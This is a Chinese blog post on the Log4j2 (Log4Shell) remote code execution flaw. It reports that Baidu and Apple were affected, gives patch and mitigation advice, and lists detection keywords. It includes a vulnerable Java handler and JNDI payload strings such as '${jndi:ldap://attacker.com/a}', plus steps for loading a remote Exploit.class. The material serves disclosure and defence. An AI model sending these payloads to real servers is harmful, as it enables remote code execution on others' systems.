百度和苹果疑似中招log4j2漏洞！-轻识

昨天，我发了文章《Apache Log4j2 被爆严重远程代码执行漏洞！附修复教程！》后，阅读量很快飙升到很高！然后今天还录制了视频，重现了这个漏洞。

具体的视频可以到我的视频号观看。

话说，这次的漏洞影响面很广(百度和苹果已中招，后面有详细截图)。通过 Google 搜索引擎对依赖该组件的产品、其他开源组件分析，发现有 310 个产品、开源组件依赖了 Apache Log4j2 2.14.1 的版本。

根据网络空间测绘系统 Quake 探测的全网使用 Java 语言编写的产品部署数量如下图所示：

其中大量的项目使用了 Log4j2。

另外根据在国内 Java 开发的组件的部署量重点地区是北京市、广东省、浙江省、上海市以及香港特别行政区。

目前该漏洞被利用不需要特殊的配置即可完成。

同时该漏洞的 POC、EXP 已公开，攻击危害大，利用复杂度低，影响范围广。建议相关用户及时进行修补更新，做好相关防护措施。

根据昨天各大网站上热搜和网友的讨论，有人发现百度中招了。

目前我再再百度上重现，发现百度已经修复了这个漏洞。

其他的已经发现的有 Steam、Apple iCloud，百度等云服务和 Minecraft 等应用程序容易受到这种攻击。

任何使用 Apache Struts 的人都可能受到攻击。在 2017 年 Equifax 数据泄露等违规事件中看到类似的漏洞被利用。

许多开源项目，如 Minecraft 服务器 Paper，已经开始修补它们对 log4j 框架的使用。

苹果公司漏洞在登录框输入 poc 代码进行 dns 查询：

dns 查询成功返回代码：

修复建议

参考我昨天的文章。

升级到最新版本：

请联系厂商获取修复后的官方版本：

github.com/apache/logging-log4j2

已发现官方修复代码，目前已正式发布：

https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.15.0。

缓解措施：

禁止没有必要的业务访问外网。
设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true”
设置“log4j2.formatMsgNoLookups=True”
系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
升级idk 11.0.1 8u191 7u201 6u211或更高版本
限制受影响应用对外访问互联网，并在边界对dnslog相关域名访问进行检测。

流量查询

攻击者发送的数据包中可能存在”${jndi:}” 字样，推荐使用全流量或 WAF 设备进行检索排查。

攻击者在利用前通常采用 dnslog 方式进行扫描、探测，常见的漏洞利用方式可通过应用系统报错日志中的javax.naming.CommunicationException、javax.naming.NamingException: problem generating object using object factory、Error looking up JNDI resource关键字进行排查。

人工检测是否受影响

相关用户可根据 Java jar 解压后是否存在org/apache/logging/log4j相关路径结构，判断是否使用了存在漏洞的组件，若存在相关 Java 程序包，则很可能存在该漏洞。

若程序使用 Maven 打包，查看项目的 pom.xml 文件中是否存在下图所示的相关字段，若版本号为小于 2.15.0，则存在该漏洞。

Apache Log4j任意代码执行漏洞|RCE

若程序使用 gradle 打包，可查看 build.gradle 编译配置文件，若在 dependencies 部分存在 org.apache.logging.log4j 相关字段，且版本号为小于 2.15.0，则存在该漏洞。

有漏洞的代码示例

import org.apache.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = Logger.getLogger(log4jExample.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
    
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);

    String response = "Hello There, " + userAgent + "!
";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

利用步骤

来自用户的数据被发送到服务器（通过任何协议）。
服务器记录请求中的数据，包含恶意负载：（${jndi:ldap://xttblog.com/a}其中 xttblog.com 是攻击者控制的服务器）。
该 log4j 漏洞由该有效载荷触发，服务器 xttblog.com 通过Java 命名和目录接口（JNDI）发出请求。
此响应包含注入服务器进程的远程 Java 类文件（例如http://www.xttblog.com/Exploit.class）的路径。
此注入的有效载荷触发第二阶段，并允许攻击者执行任意代码。

由于此类 Java 漏洞非常常见，老外程序猿已经创建了开源工具来轻松利用它们。

漏洞利用条件

运行易受攻击 log4j 版本的服务器（如上所列）。

具有任何协议（HTTP、TCP 等）的远程访问端点，允许攻击者发送任意数据，端点中记录攻击者控制数据的日志语句。

漏洞复现

参考我的视频号中的视频讲解！